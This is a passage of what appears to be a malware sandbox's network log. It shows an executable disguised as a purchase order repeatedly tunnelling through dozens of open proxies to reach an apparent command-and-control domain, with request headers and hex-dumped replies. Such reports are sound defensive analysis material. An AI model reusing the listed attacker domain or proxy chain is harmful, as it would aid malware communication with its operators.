1273	192.168.2.10	53719	89.218.8.152	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.652465105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.10	53779	115.89.203.59	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.655100107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.410830975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.385552883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398711920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.301615953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.192821980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.098468065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.707607985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.910686016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.10	53810	184.185.2.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.656301022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.285957098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.083273888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.10	53634	90.188.250.16	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.659575939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.091159105 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.10	53755	203.19.38.114	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.660748959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.411043882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504880905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707909107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.778120995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.874372959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.480945110 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 15:40:03 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.10	53913	104.23.125.117	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.665601015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.820293903 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.10	53794	3.37.125.76	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.668591022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.990308046 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:50 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.10	53767	39.105.27.30	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.673371077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.002079010 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.10	53813	200.29.109.112	14888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.677262068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.10	53938	104.23.141.196	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.677691936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.832122087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.10	53944	104.16.230.163	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.680597067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.834918022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.10	53953	172.67.181.51	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.685940981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.840161085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.10	53952	104.19.79.238	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.686996937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.841523886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.10	53960	172.67.181.144	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.689855099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.844129086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.10	54007	104.17.239.10	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.716162920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.870701075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.10	52651	173.249.33.122	22082	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.721471071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909312010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.10	53843	94.130.94.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.722232103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.10	53976	162.214.162.156	46369	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.729274035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.293730974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.868304014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098685026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.411062002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.707986116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.10	53819	77.91.74.77	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.744035006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.080322981 CET	154	IN	HTTP/1.1 301 Moved Permanently Location: https://heygirlisheeverythingyouwantedinaman.com:443 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.10	53923	23.94.123.202	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
